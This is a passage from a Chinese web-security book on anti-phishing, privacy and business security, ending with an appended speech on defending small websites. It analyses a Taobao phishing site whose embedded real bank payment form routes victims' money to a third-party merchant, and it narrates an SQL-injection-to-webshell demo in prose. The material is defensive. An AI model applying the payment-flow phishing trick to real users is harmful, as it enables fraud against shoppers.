Mail等。如果钓鱼邮件发送到这些用户邮箱中，就脱离了网站本身的范畴。网络钓鱼是需要整个互联网共同协作解决的一个问题，因此当钓鱼传播途径脱离了目标网站本身的范畴时，应该积极地通过与外部合作的方式，共建一个安全的大环境，也就是建立一个反钓鱼的统一战线。目前很多大的互联网公司都已经意识到统一战线的重要性，这条反钓鱼的统一战线已经初具规模，网站、互联网基础服务、浏览器厂商、反病毒厂商、银行、政府都成为这条战线的成员。浏览器是一个较为特殊的环节，因为浏览器是互联网的入口，钓鱼网站不管是在IM中传播，还是在邮件里传播，归根结底还是要上到浏览器上的。所以在浏览器中拦截钓鱼网站，能事半功倍。下图是Chrome拦截到钓鱼网站并发出报警。浏览器与杀毒软件在反钓鱼方面面临的问题，就是软件的用户覆盖率，以及钓鱼网址信息的互通与共享。只有当不同的浏览器厂商、杀毒软件厂商能够及时同步钓鱼网址的黑名单时，才能完善这道最终的防线。钓鱼网站的黑名单，可以成为一个公共信息公布在互联网上，任何浏览器和反病毒厂商都可以使用这些黑名单。Google公开了一个“Safe Brows-ing API”，公布了Google发现的这些恶意网址。通过“Safe Browsing API”，可以获取钓鱼网址、挂马网址、诈骗网址的黑名单。16.5.3.2 直接打击钓鱼网站在钓鱼网站的防控中，还有一个有力的措施，就是关停站点。很多DNS运营商、IDC运营商目前都开始提供站点关停的业务。可是运营商本身无法识别一个网址是否是钓鱼网站，因此很多运营商依靠一些第三方的安全机构或者安全公司，以合作的方式对恶意网址进行关停。安全公司发起的“关停恶意网址要求”目前已经变成一项生意，网站可以购买相关的服务以对自身品牌进行保护。关停包括对域名的关停，以及对虚拟主机上应用的关停。在国外，RSA、Mark Monitor、NetCraft 等公司均开展了相关业务，站点关停的响应时间最快可以控制在数个小时之内；在国内，主要是通过CN-NIC下属的反钓鱼联盟（APAC），对“.cn”的域名和主机进行关停。随着中国对运营商监管的力度越来越大，以及为了规避某些法律风险和增加追查难度，越来越多的钓鱼网站开始转移到国外的运营商。经过调查发现，大多数钓鱼网站选择了美国和韩国的运营商。目前中国法律方面对网络犯罪的相关条例尚不完善。以往的网络犯罪案件，仍然是使用传统法律条款进行解释。“盗窃罪”和“诈骗罪”是网络犯罪案件中被引用得最多的条款。但是钓鱼类案件有其特殊性。网络钓鱼是一种欺诈行为，可以以“诈骗罪”论处。但钓鱼网站的苦主可能成千上万，每个苦主的单笔金额也许不是很多，取证和诉讼方面都会遇到很大的困难。而且由于互联网的特殊性，很多骗子都通过代理服务器或者更换IP地址的方式以躲避追踪，为取证带来了一定的难度。虽然困难很大，但由司法机关直接对网络钓鱼行为进行打击，是最有力的方法。每当打掉了一个钓鱼犯罪团伙后，钓鱼案件总量都会下降很多，起到了极大的震慑作用。16.5.3.3 用户教育用户教育永远是安全工作中必不可少的一环。网站需要告知用户什么是好的，什么是坏的。但是光喊“狼来了”也是没用的，过多的警告信息只会使用户丧失警惕性。笔者曾经看过这样的一个案例：一个木马在某IM里传播，很多用户上当受骗，于是该IM做了一个功能：检查用户传输的文件是否为.exe等可执行文件，如果是压缩包则看压缩包里是否包含了.exe，如果有则警告用户这可能是一个木马。在用户被骗后举报的案件记录中，看到骗子是这样诱导用户的：“您用的是最新版本吗？是最新版本就对了，这个版本什么都报是木马。没事的，您点吧！”用户教育的工作任重而道远。16.5.3.4 自动化识别钓鱼网站在钓鱼网站的拦截过程中，有一个关键的工作，就是快速而准确地识别钓鱼网站。依靠人工处理钓鱼网站，工作量会非常大，因此有必要使用技术手段，对钓鱼网站进行一些自动化的识别。目前许多安全公司都开始进行此方面的研究，并且卓有成效。钓鱼网站的域名都具有一定的欺骗性。但反过来说，具有欺骗性，也就具有相似性。比如正常的淘宝宝贝页面URL中包含了参数值“-0db2-b857a497c356d873h536h26ae7c69”，这种参数值几乎成了淘宝URL的特色。因此，下面这个钓鱼网站模仿了这种URL：http://item.taobso.comdiz.info/auction/item_detail-0db2-b857a497c356d873h536h26ae7c69.htm.asp?ai=486在域名上，也有很多字母变形。比如将字母“o”变形为数字“0”，字母“l”与数字“1”互换等方法，都是骗子的惯用伎俩。在页面的源代码中，也能分析出许多相似的地方。比如上面的钓鱼网站，其页面代码中就包含了如下脚本：而这段脚本实际上是钓鱼网站原封不动地从目标网站“淘宝网”上拷贝下来的，这段脚本就可以成为一个特征。自动识别钓鱼网站是一项复杂的工作，不同的思路会有不同的结果。同时这项工作必然是在不断的对抗中成长，没有一成不变的规则和模型，也没有一成不变的钓鱼网站。但即使再精准的系统，也会有误报的，因此最终还是需要有人工审核进行把关。16.5.4 网购流程钓鱼上面展示的那个钓鱼网站，和前文提到的登录页面的钓鱼不同，这是一个淘宝宝贝页面的钓鱼。那么这个钓鱼网站又是如何行骗的呢？接下来，就要讲讲这种比较奇特的诈骗方式，它实际上利用了今天电子商务支付环节的一个设计缺陷，而且这个设计缺陷还难以在短时间内修补。在这个宝贝页面的钓鱼网站上，如果点击“立刻购买”，则会跳出一个登录浮层，它同时骗取了用户的密码。输入一个测试账户后，就进入了确认购买页面，这也是淘宝网购里正常流程会走到的一步。一切看起来都和真的一样，除了URL。输入一个测试账户后，就进入了确认购买页面，这也是淘宝网购里正常流程会走到的一步。一切看起来都和真的一样，除了URL。点击“确认无误，购买”，将进入付款页面。在正常的淘宝网购流程中，是去支付宝付款。钓鱼网站同时伪造了支付宝的收银台页面，骗取用户的支付密码。实际上用户是不会支付成功的，但此时用户的支付密码已经被盗了。用户点击“返回”，重新选择网银支付。在此过程中，用户的淘宝账户密码、支付宝的支付密码都已经被钓鱼网站所获取。用户看到的所有的页面都是钓鱼网站伪造的。但这一切并不是最重要的，最重要的是钓鱼网站即使不知道用户的密码，也能骗走用户的钱。这涉及一个网购流程的设计缺陷。在这个过程中，最终钓鱼网站走到的这个支付页面，其中内嵌了一个表单。查看源代码可以看到，这是一个工商银行的支付表单。<form id=\"ebankPayForm\" name=\"ebankPayForm\" target=\"_blank\" method=\"post\"action=\"https://B2C.icbc.com.cn/servlet/ICBCINBSEBusinessServlet\" ><input type=\"hidden\" name=\"interfaceName\" value=\"ICBC_PERBANK_B2C\"/><input type=\"hidden\" name=\"interfaceVersion\" value=\"1.0.0.0\"/><input type=\"hidden\" name=\"orderid\" value=\"507148170\"/><input type=\"hidden\" name=\"amount\" value=\"985000\"/><input type=\"hidden\" name=\"curType\" value=\"001\"/><input type=\"hidden\" name=\"merID\" value=\"4000EC23359695\"/><input type=\"hidden\" name=\"merAcct\" value=\"4000021129200938482\"/><input type=\"hidden\" name=\"verifyJoinFlag\" value=\"0\"/><input type=\"hidden\" name=\"notifyType\" value=\"HS\"/><input type=\"hidden\" name=\"merURL\"value=\"http://bank.yeepay.com/app-merchant-proxy/neticbcszrecv.action\"/><input type=\"hidden\" name=\"resultType\" value=\"0\"/><input type=\"hidden\" name=\"orderDate\" value=\"20110522205936\"/><input type=\"hidden\" name=\"goodsName\" value=\"中国联通交费充值\"/><input type=\"hidden\" name=\"merSignMsg\"value=\"fwWXBaBUrgwpxzP5oxyZay7ObihJrHt9UkGm9okjRrHH828Kx8b/lkX8hOdS7wv74lgh3rZybkqSL+DpB9F0u24+Pji9CWrGJeN5Y96qd97agv/n802vVp+VhKbFc0h6yuSQH4HK6dRxFrz4DsdpqgAr7ZdpUiM2DgSzjHCQUK0=\"/><input type=\"hidden\" name=\"merCert\"value=\"MIIDBDCCAeygAwIBAgIKYULKEHrkAC49gjANBgkqhkiG9w0BAQUFADA2MR4wHAYDVQQDExVJQ0JDIENvcnBvcmF0ZSBTdWIgQ0ExFDASBgNVBAoTC2ljYmMuY29tLmNuMB4XDTEwMDkyNTA3NTU0MloXDTExMTAxMDE1NTk1OVowPzEYMBYGA1UEAxMPeWVlcGF5MDEuZS40MDAwMQ0wCwYDVQQLEwQ0MDAwMRQwEgYDVQQKEwtpY2JjLmNvbS5jbjCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1LE1UbpYQd2bW87+hzo/3F9N8A8m3OCVU4Vj8rYN7g499YwXJtCmvXJpKGHzpsygEvrwDsEWQp2rOFI0nSAyga4VyyVbmFnx3dkiKFpAco6pi+G2YvtaxsoI8oI0ZpBzytRJRDy3WSZG6mKw3ty5UlbAiNlugJARfcMuYGvQ7jsCAwEAAaOBjjCBizAfBgNVHSMEGDAWgBT5yEXDU5MmNjGTL5QQ38hTPfZvnjBJBgNVHR8EQjBAMD6gPKA6pDgwNjEQMA4GA1UEAxMHY3JsMzAzMTEMMAoGA1UECxMDY3JsMRQwEgYDVQQKEwtpY2JjLmNvbS5jbjAdBgNVHQ4EFgQUI+mwl5mh7sI81gNXua2rcv/nev0wDQYJKoZIhvcNAQEFBQADggEBALaJ5oyxbHP8LsWiyvi//ijREAiA6oJ35hEy6Yn4Y8w7DZwM0H1il7txG0KfGPYU7pAQ6A9iQ+wMnMCBMrLOyws1osi2JQIwZncs7/AisCXfGlji6wesAU4MCNiAfV2+nPmr2SMpkhak0OIcOZlZHqNPeTBcTIuPmR3tH3UAJnC5vaz+7/Y+veEXa2PDia//TT2GCsaV3UP3mfdHFzGKVYIIZJ0qGJFN4nBDqF1aYXgGBawfJwUVDIIJBnv94K9kj4u7sac1Eicl3AwkPJdrhWY/Y5SZuu11pckfiserbSoGEKDCQ3OD9HoSVFIMpJi7nkwP56xhrJW8mQlUggGAgGE=\"/><input type=\"hidden\" name=\"remark1\" value=\"0\"/><input type=\"hidden\" name=\"remark2\" value=\"0\"/></form>这个表单的提交地址是：action=https://B2C.icbc.com.cn/servlet/ICBCINBSEBusinessServlet这是一个真实的工商银行付款地址。也就是说，这个表单是真实存在的！再看看这个表单中的几个关键参数：name=\"orderid\" value=\"507148170\" 订单号name=\"merID\" value=\"4000EC23359695\" 商户标识name=\"merAcct\" value=\"4000021129200938482\" 商户标识name=\"merURL\" value=http://bank.yeepay.com/app-merchant-proxy/neticbcszrecv.action 商户URLname=\"goodsName\" value=\"中国联通交费充值\" 商品名称从商户URL可以看到，这笔订单实际上是支付到了yeepay.com，而用户以为自己是支付到了支付宝。再看看商品名称，变成了“中国联通交费充值”，而用户以为自己买的是“美的空调”。这个表单的隐藏字段说明了一切。此外有两个关键参数：merSignMsg和 mer-Cert，这是针对该订单的签名和商户的证书，用来确定一笔订单。最终，用户在钓鱼网站上提交这笔“真实”的订单后，通过工商银行的网银支付了一笔钱到yeepay.com。分析与防范网购流程钓鱼在整个支付流程中，我们看到了什么？一个正常的网购流程，一般如下：商户（比如淘宝网） 第三方支付平台（比如支付宝、yeepay） 网上银行（比如工商银行）这实际上是一个跨平台传递信息的过程。贯穿不同平台的唯一标识，是订单号。订单中只包含了商品信息，但缺少创建订单用户的相关信息。这是网上支付流程中存在的一个重大设计缺陷。造成这个设计缺陷的原因是，在网购过程中的每个平台都有一套自己的账户体系，而账户体系之间并没有对应关系。因此平台与平台之间，只能根据订单本身的信息作为唯一的判断依据。比如银行的账户是银行卡号和开户名，第三方支付平台有自己的账户，商户又有自己的一套账户体系（比如京东商城）。某用户小张在京东商城注册了账户“abc”，在支付宝的账户是“xyz”，在银行的卡号是“xxx”。假如小张在京东商城上买了一个空调，并经由支付宝到网银支付。在网银端，银行看到小张就是“xxx”，而不知道京东商城的“abc”以及支付宝的“xyz”也是小张；在支付宝端，同样也不知道小张就是京东商城的“abc”。这样的订单信息就不完整。因此是否由小张本人完成了这个订单的支付，银行端其实是不知道的。银行只知道这个订单是否已被支付完成，而不知道是谁支付了订单。这个缺陷是如何被利用的呢？骗子去商户创建一个订单，然后交给用户去第三方支付平台支付；或者骗子创建一个第三方支付平台的订单，然后交给用户去银行支付——正如前文案例中所演示的一样。目前中国互联网有成千上万的商户，也有数十家像支付宝一样的第三方支付平台，还有数十家提供网上支付业务的银行。这些平台拥有的账户体系已经变得错综复杂，很难再把这么多的账户一一对应起来。解决这个设计缺陷的方法是，找到一个唯一的客户端信息，贯穿于整个网上支付流程的所有平台，保证订单是由订单创建者本人支付的。根据用户的需求，可能还会产生“代付业务”，这时候还需要设计一个合法的代付流程。只有当所有平台都统一了订单拥有者的信息后，才能真正解决这个问题。目前看来，使用客户端IP地址作为这个信息，比较经济，易于推广。网络钓鱼问题不是某一个网站的问题，而是整个互联网所需要面对的问题。解决钓鱼问题，需要建立一条统一战线，改善和净化整个互联网的大环境。\n16.6 用户隐私保护2011年4月，索尼（SONY）发生了一起令全球震惊的黑客入侵事件。事件的结果是索尼运营的PSN网络（一个由SONY运营的以PS游戏机为终端的对战网络平台）陷入瘫痪，同时导致大量的用户数据被泄露。索尼表示，可能有超过7700万的用户注册信息或已遭到黑客的盗取，而随后有黑客在论坛上开始挂牌销售220万个来自索尼PSN网络数据泄露受害者的个人信息，其中包括姓名、地址、电话号码、信用卡号码甚至后三位CVV2码，这些数据足以让大量用户的信用卡失窃。之前索尼曾表示信用卡信息已经得到加密，但事实上数据库里的内容已经被读出，黑客甚至还炫耀数据库的关键字：fname, lnam, address, zip,country, phone, email, password, dob, ccnum,CVV2, exp date。事后有分析师认为，索尼在这次事件中遭受的损失可能会超过10亿美金，包括业务的丢失、不同的补偿成本、新的投资。16.6.1 互联网的用户隐私挑战互联网在给人们带来便捷的同时，也放大了负面事件的影响。在互联网时代，网站在提供服务的同时，也拥有了各种各样的用户数据。从好的方面想，网站在拥有这些用户数据的同时，能够提供给用户更加优质的服务。网站收集用户信息最主要的用途就是用于精准地投放广告，广告目前仍然是大多数互联网公司最主要的收入来源。互联网这个平台之所以比传统媒体更为先进，就是因为广告在互联网上可以进行精准投放。试想传统媒体，比如电视，在电视里投放广告时，所有的用户都坐在电视机前观看同样的广告。电视里的广告投放，只能按照不同的时间段、不同的频道风格进行大致的分类。比如在少儿频道投放玩具、母婴类广告，在戏曲频道投放中老年保健品广告等。但是在互联网上，可以做到更为精准的广告投放。以搜索引擎为例，如果一个用户在搜索引擎上搜索“杭州楼盘”等关键词，则可以认为这个用户有买房的意向，从而可以展示杭州房地产相关的广告。如果搜索引擎更加智能一些，能够记住这个用户，知道这个用户前后几天一直在搜索“楼盘”、“中介”，“房产政策”等关键词，搜索引擎就可以猜测这个用户有强烈的购房意向，从而可以进行更深度的营销，比如由销售直接联系这个用户。这时问题就来了，网站怎么知道如何联系这个用户？原来，用户在网站注册时，将手机号码填写在了个人资料中，当时填写的理由可能是“密码找回”、“注册确认”等，又或许是今天SNS最常用的手段：完善多少个人资料，就将获得多少奖励。除了用户自己在网站填写的个人信息外，网站还可以通过“搜索记录”、“浏览网页的历史记录”、“IP地址对应的地理位置”等信息来猜测用户的真实情况。网站越“智能”，网站所持有的个人信息就越多。用户在有意和无意中会泄露大量的个人数据，而用户的个人数据一旦未能被妥善保管，就可能酿成“SONY数据泄露事件”的悲剧。在PCI-DSS（支付卡行业数据与安全标准）中，对企业持有的“持卡人个人信息”做出了非常严格的要求。比如pin码不得以明文在网络中传输，使用后需要删除等。PCI认为现有的安全技术是复杂的，要想完美地保护好用户个人信息比较困难，最好的做法是限制数据的使用——“不存在的数据是最安全的”。但PCI标准目前只在支付行业中推广；在其他行业，网站则仍然在肆无忌惮地收集用户的个人数据。目前互联网缺乏一个对用户隐私数据分级和保护的标准，没有定义清楚哪些数据是敏感的，哪些数据是公开化的，从而也无从谈起隐私数据应该如何保护。比如用户的手机号码，乍一看是非常隐私的数据，如果泄露了，可能会让用户饱受垃圾短信和各类推销电话的骚扰。但是有的用户，出于商业宣传的目的，却希望其手机号码能广而告之，从而承接业务，这些手机号码又不属于隐私数据。类似的例子还有很多。因此对隐私数据进行标准化的定义，也是一件很困难的事情——业务场景太复杂了。16.6.2 如何保护用户隐私在通常情况下，笔者认为，如果网站为了提供更好的服务而收集用户的个人数据，则应该做到以下几点。首先，用户应该拥有知情权和选择权。网站有义务告知用户获取了什么数据，并公布自己的隐私策略或条款。用户也有权利对不喜欢的隐私策略说不。有一位名叫Aza Raskin的安全研究者，认为网站在向用户告知自己的隐私策略时，可以使用简单鲜明的图标来表示，并对数据的使用做了简单的分类。更多的图标可以参考Aza Raskin的个人网站。其次，网站应该妥善保管收集到的用户数据，不得将数据用于任何指定范围以外的用途。比如将用户的个人信息转卖给其他组织则是非法的，应该被禁止。妥善保管这些数据，还意味着网站有义务为数据的安全性负责。应该达到类似于PCI-DSS中提到的各种保护数据的要求。除了保证没有漏洞外，网站还应该限制员工接触到原始数据。比如监控员工是否有“查看用户隐私数据”的行为——没有人愿意让自己的邮件内容或者短信内容被网站的工作人员偷看。曾经有人怀疑Google偷看用户的邮件内容，因为Gmail里的广告总是能够伴随着邮件的内容而精准投放。Gmail实际上是使用了算法实现这一切，但这给我们提了个醒：网站不应该有个人能够接触到用户的隐私数据。在正常情况下，个人数据应该只能由算法或者程序来计算，工作人员不应该有直接查看的权限。在有的网站后台系统里，工作人员能看到完整的用户信息，比如完整的身份证号码、手机号码。这其实是不合理的设计，在大多数情况下工作人员并不需要知道完整的数据即可完成工作。因此使用“掩码”的方式会更加的合理和人性化。身份证：43010119990909xxx4手机：13666661xx416.6.3 Do-Not-Track目前，越来越多的人认识到隐私保护的重要性。美国国会议员系统通过立法确保用户有权拒绝网上追踪用户的行为，这就是引起极大争议的“Do-Not-Track”。Do-Not-Track工作在浏览器上。该选项打开后，将在HTTP头中增加一个header，用以告诉网站用户不想被追踪。最初由美国政府权威机构联邦贸易委员会（Federal Trade Commission）发布，其灵感来自于阻止电话推销的“全美不接受电话推销名单”（do-not-call registry）。目前一些主流浏览器比如Firefox 4、IE 9的新版本都开始支持此项功能。可是Do-Not-Track本身并不受欢迎。Yahoo、Google等互联网巨头均对Do-Not-Track表示了一定的抵制，一开始是不愿意加入，到后来甚至联名抗议试图阻止此项法案生效。Do-Not-Track势必将影响到广告主的利益。目前此项法案还在讨论中，其是否能给隐私保护带来新的变化需要拭目以待。Do-Not-Track只是工作在浏览器中，工作在HTTP层，但隐私数据收集问题其实已经渗透到互联网的每一个层面。在非英语国家，产生了一个很神奇的产品：输入法。在起初，输入法只是一个PC上的小应用程序，但是后来搜狐挖掘出输入法的价值。在中国，人人离不开输入法。人们上网聊天、写邮件、使用搜索引擎都要使用输入法，包括笔者现在坐在电脑前敲这篇文章，同样也离不开输入法。输入法才是中国人上网的第一入口！云输入法因此而生。在为用户提供更好体验的同时，“云端”也可以不断地猜测用户在想什么，而这是建立在大量的用户数据基础之上的。这些用户敲打出来的数据有助于帮助公司确立商业目标。比如，云端如果发现大多数输入法的用户都开始敲打“股票”、“股息”等词语，则说明宏观经济可能发生了一些变化。还可以像分析搜索引擎关键词一样，分析用户使用输入法的习惯。比如，如果一个用户经常键入科技类的词语，则可以猜测这个用户的职业可能是工程师或者是学者。2011年，苹果的iPhone和Google的An-droid手机系统先后被曝光出有跟踪用户地理位置信息的行为，引起轩然大波。这只是一个开端，接\n16.7 小结本章讲述的是互联网安全中，网站最关心的业务安全。互联网公司在发展业务时，也许会忽略自身的安全防护和漏洞修补，但一定不会漠视业务安全问题。因为业务安全问题，直接损害的是用户的利益、公司的利益，这些安全问题会有真正的切肤之痛。因此无论是公司内部，还是政府、行业，甚至是社会舆论，都会产生足够大的压力和推动力，迫使互联网公司认真对待业务安全问题。互联网公司要想健康地发展，离不开业务安全。把握住业务安全，对于公司的安全部门来说，就真正把握住了部门发展的命脉，这是真正看得见、摸得着的敌人。业务安全问题更加直接，损失的都是真金白银，考核的目标也易于设定。安全工程师可以承担更大的责任，帮助公司的业务健康成长。\n（附）麻烦的终结者各位站长、各位来宾大家下午好！今天我演讲的题目是“麻烦的终结者”，我觉得安全问题对于中小网站站长来说并不能算业务发展上的重大阻力，也并不是迈不过去的难关，安全问题更多的时候像是一种麻烦，非常讨厌，但是你又不得不去面对它。就像你的牙疼，会让你吃不下饭，睡也睡不香，牙疼不是病，疼起来要人命。安全问题是令人头疼的麻烦，而我，是一个麻烦的终结者。我这个人特别怕麻烦，但是每当我出现的时候，就意味着有麻烦出现了，所以我会尽我的全力，把这些麻烦以最快的速度解决掉。首先自我介绍，我叫吴翰清，来自阿里巴巴集团信息安全中心，我是西安交通大学少年班毕业，2000年开始进行网络安全研究，有10年的安全研究经验。我05年加入阿里巴巴，先后负责阿里巴巴、支付宝、淘宝的安全评估工作，帮他们建立了应用安全体系，现在我主要在阿里云负责云计算安全、全集团的应用安全，以及全集团的反钓鱼、反欺诈工作。今天网站面临了很多威胁，有各种各样的威胁——有人在网站发反动政治信息；刚才主持人还提到美女的U盘丢了，隐私可能受到威胁。今天中小网站面临的各种威胁也是我们曾经遇到过的。淘宝、阿里巴巴、支付宝、阿里云、雅虎中国，这些网站也是从小网站成长起来的，我们曾经遇到过的问题，也是中小网站明天可能会遇到的问题，因为明天中小网站也必然成长为大网站。当有一天我们的站长打开他的网站时发现站点已经打不开了，造成打不开的原因可能非常多，可能是硬件坏了、磁盘坏了，也有可能是IDC机房网络断了，当然也有可能是被拒绝服务攻击了，这完全是有可能发生的。这是我们昨晚刚录的一段视频，这是我们自己的一个本地测试网站，我们使用一个工具测试，在两三秒之后，发现这个网站打不开了，把这个工具停掉，网站立马恢复正常。这种攻击完全是有可能发生的，这个漏洞就是上个月即11月，在一个安全的权威大会上有两个国外的安全研究者所演示的Web Server层的漏洞，这和传统的拒绝服务攻击不一样，它工作在应用层，传统保护方案可能会失效。它的攻击条件非常简单，刚才只用了一台PC就把网站打宕掉，我们事后曾经利用这个漏洞测试过一些朋友网站，发现威力非常强大，包括我们自己内网的办公系统，也是刚刚一把工具打开，网站马上宕掉。这种威胁中小企业都面临着，我在03年也做过一个网站，做得非常大，后来不知道什么原因，有人拒绝服务攻击我的网站，之后这个网站再也没有打开过，我心灰意冷，就没有想再开起来。在02、03年时，我们没有技术条件和环境解决这种问题，但是在今天，我们完全有可能解决，在安全性上叫可用性、业务连续性的问题，我们要让网站一直活着，不能让它打不开。我们如何解决拒绝服务攻击？在前面陈波介绍他在弹性云计算里面有很多方案，包括安全域、分布式防火墙，弹性云的环境当中还有很多网络设备来保护网络层对抗拒绝服务攻击。拒绝服务攻击分两种，第一种是前面陈波提到的，在网络层，传统的SYN flood等攻击，我们通过弹性云的很多方案已经保护得很好了。另外一种是在Web Server层，在应用层，可能存在拒绝服务攻击，这是今天整个互联网都较为缺乏应对手段的攻击，但是我们部门已经解决掉了。我们在Web Server层定制一些模块，对WebServer进行保护，我们通过分析网络连接、频率、地域、客户端信息，最终进行判断，哪个请求是坏的。你担心漏洞吗？其实漏洞跟风险还有一定距离。漏洞首先要有人使用，然后才会成为风险。什么人会去使用漏洞？这其实是一个很大的链条。漏洞会给我们带来什么？我们可以看一下演示。这是本地的测试网站，我们演示一次入侵过程，这是一个SQL注入漏洞，像这种黑客工具在网站可以随便下载到，而且有很多不同版本。我们的攻击者尝试了网站后台，路径是Ad-min，发现路径是正确的，在入侵过程当中，很多是靠猜的。我跟很多资深黑客都聊过，他们有大概30%是靠运气才能够拿到一个系统权限，通过注入这个漏洞，找到了系统管理员这张表，然后找到用户名，现在正在破解密码。这时候攻击者把16位的MD5值放在表上查，马上找到了对应的密码，然后登录进网站后台。但是现在还没有完，在后台还有一个能够上传图片的功能，这里又有一个漏洞，这里没有对图片类型做验证，所以攻击者直接上传后门程序，现在他已经拿到了一个后门，可以为所欲为了。可以浏览C盘目录，包括下载文件，攻击者上传一个页面，证明他入侵过，这就是一个漏洞引发的血案。我们不得不担心漏洞，因为漏洞最终会成为很严重的风险，代码是人写的，程序员是人，不是神，只要是人写的代码，必然产生漏洞。漏洞不能被消灭，但是可以被控制。这是我从国内现在比较著名的一个网站“乌云”上截取的图。这是一帮安全研究者弄出来的网站，会收集各个站点的漏洞，通报给厂商。在这个列表上（是我昨天刚抓到的），列举了8月份到12月3号的很多大网站漏洞，很多大网站榜上有名，有网易、QQ、凤凰网，还有百度、新浪，所以说大网站也会出现漏洞，小网站也不可避免。我们是怎么解决漏洞的？现在我所在的团队是国内非常专业的一支团队，圈子里的朋友可能都知道，我们团队里面招了很多各个安全领域的专家，有无线安全专家、客户端安全专家、网络安全专家、应用安全专家，我们这些人研究出很多方法来控制漏洞。现在阿里巴巴全集团下有几千人的工程师团队，每天写代码，每周发布的项目有30个，小需求有200个，代码量非常大。我们的目标是要检查每一行代码的安全，但是我们只有30多个人，所以我们选择了四两拨千斤的方法。我们总结一些常见的代码问题，自己定制一些检测工具，对每一行代码进行检查，保证程序员写出来的代码是安全的。我们现在还定制了自己的安全扫描器，扫描了包括淘宝、B2B、支付宝在内的6000万网页，这是今天任何一个商用安全扫描器都做不到的，但是我们做到了。这6000万页面是我们精选出来可能造成安全危害的页面，我们会在第一时间把扫描出来的漏洞通报给业务方，通报给应用，通报给程序员，我们会在第一时间掌控漏洞，我们要跑在黑客前面，要比黑客更早地发现漏洞所在。当漏洞变成了风险时，我们的站长可能会担心杀毒软件突然弹出一个框说网站上面有木马，这件事情是非常令人头疼和讨厌的，给网站的声誉也带来非常大的影响。互联网中有一个黑色产业链在不断谋求发展，不断在追寻利益，可能很多在座的朋友都看过，前些时候中央电视台报道过的黑色产业链——一条木马产业链，他们是怎样盈利的？最主要的盈利点，在这个环节是盗用游戏账号、网银账号，然后卖掉，这是数十亿的产业链。在网站上面攻击用户，包括大网站用户、中小网站用户，这条产业链的攻击目标是最终用户，而这些用户也是中小网站用户，是重合的，所以这就是他们利益的驱动所在。我们很多站长想不明白，为什么这些黑客莫名其妙地跑到我们网站上来攻击我，这就是他们的利益点所在，因为每年有几十亿利益驱动在背后，所以会千方百计找流量，大网站攻不进去就找小网站，小网站也能给他们带来可观流量，导致他们最后获得丰厚收入。就像苍蝇不盯无缝蛋，有漏洞就有黑客攻击的可能，不能抱有侥幸心理。我们如何解决挂马的风险？挂马的问题令人非常头疼，我这里有两个数字：一个是10万，一个是10分钟，阿里巴巴集团有一套系统能够定时周期性检测这个网站是不是挂马。业界普遍有两种做法：一种做法是检测原代码，看是否有危害性的JS脚本；另一种做法就是用类似虚拟机的做法，在虚拟机中用浏览器访问网页，然后在后台有一系列杀毒软件判断网页是不是挂马。我们两者皆用，目前监控10万网页，这10万网页是我们精选出来的阿里巴巴、淘宝、支付宝可能存在挂马风险的网页。10分钟是指我们能在10分钟之内，如果10万个网页当中某一个网页挂马，就能发出警报。这跟扫描不太一样，扫描周期会比较长，而挂马检测周期非常短，这就是我们解决挂马的思路。目前这个方法也是得到实践认可的，确实能够从里面发现很多挂马问题的存在。最让人头疼的是这些挂马很可能并不是我们自己网站出现漏洞，很有可能是我们的外部合作者，比如说广告，如果内容供应商页面里面挂马了，访问我们网站时，杀毒软件也会报警。这就冤枉了，我们没做错事，却背黑锅。所以检测挂马这个工作非常有意义。我还发现了另外一条产业链，一条比挂马产业链隐藏得更深、更可怕、更难抓到的产业链，这条产业链也有巨大利益在背后驱使，也是环环相扣，也有前后层级关系，但是在现在的媒体中报道的非常少。垃圾注册是万恶之源，这条产业链从垃圾注册开始。现在我发现很多网站，包括大网站的很多邮箱、很多论坛应用都存在着大量垃圾注册用户，这些垃圾注册用户对网站自身并不会造成危害，但是对整个互联网会产生巨大的影响。这些垃圾账号能够拿来干什么？首先是做广告。点击欺诈、广告欺诈，很多广告联盟，包括百度、雅虎可能都有这样一批人在背后做广告推广。其次是发反动政治言论。这些都是垃圾账号发出来的，没有人用自己的真实账号发，很多时候我们在网上碰到陌生人发一条消息，是广告或者反动言论，有的朋友心里可能非常反感，就会指责回去，其实对方只是一个机器人，你这样骂它是没有意义的，这都是垃圾注册惹的祸。还有就是刷等级，可能存在一些用户行为，可以把低等级会员刷成高等级会员。还有领红包，我们给团队一些推广费用，希望给用户回报，但是没有一个有效措施保障这些回报落到有效客户手里，大部分推广费用落到了垃圾注册的口袋，最终可能只有一个团伙在收钱。另外垃圾流量也会消耗大量的流量和资源，侧面反映就是我们的经费、我们的钱、我们的服务器，每年会消耗成本，如果能够控制垃圾注册，也就能够降低我们的维护成本。我们是如何成为清洁工的？现在的垃圾注册大部分是由机器人在发，我们要做的事情就是人机识别。想到人机识别（就是识别人和机器），大家的第一反应就是验证码，如果有一个好的验证码，确实能够很快识别出是人还是机器；但是验证码有验证码的问题，很多时候出于用户体验等因素的考虑不能使用验证码。所以我们有一套专门的解决方案，通过用户行为分析，判断到底是人还是机器，这套系统的准确率已经达到99.999%，在10万个分析里面有一个误报，这是我们目前的现状。我们通过分析这个人发消息的一些频率，包括他的来源是不是代理IP，我们建立了很大的代理IP库，抓全国、全世界代理IP，判断消息来源是否可信；我们在后端还会有一些规则分析用户行为到底是不是一个正常用户行为，从而判断出这是不是一个垃圾注册。通过我们的努力，在前段时间，垃圾注册量有一个下降，这个具体数据比较敏感，不能放在这儿，红色的是正常用户，蓝色的是垃圾注册，我们发现有一个明显下降。这个效果是非常明显的，这样网站的业务干净了，也就安全了很多，包括诈骗、钓鱼风险小了很多，更不会有人上来发反动言论。垃圾注册是万恶之源，是这条产业链的所有源头。钓鱼在金融行业是重灾区，这个图显示有80%的钓鱼是针对金融行业的，钓鱼目标包括所有的提供支付的商家，也包括想要在金融平台提供服务的网站，这和中小站长有着密切的关系，如果你想给用户提供在线支付业务，就有可能成为钓鱼网站的目标。钓鱼网站我们是怎么解决的？这个图是中国反钓鱼联盟（下属于CNNIC的一个机构）出具的一个报表，在10月份淘宝钓鱼网站有2400多个，数据全是我们提供给他们的，在我看来，这个报表并不能说淘宝的钓鱼网站数最多，而是因为我们检测能力最强，强到什么程度，第一个数字5000万，我们现在每天检查5000万个URL，5秒之内如果有新的钓鱼网站出现，就会被我们的系统捕捉。我们现在把钓鱼网站运营成本和周期，从最开始的1周压缩到1天，现在正在向1分钟迈进，也就是说，一个钓鱼网站以前能用1周，现在只能用1天了，用1天之后，这个网站马上失效，会在杀毒软件里失效，IDC机房会把服务器下线，域名也会关掉，我们正在向1分钟努力，现在已经有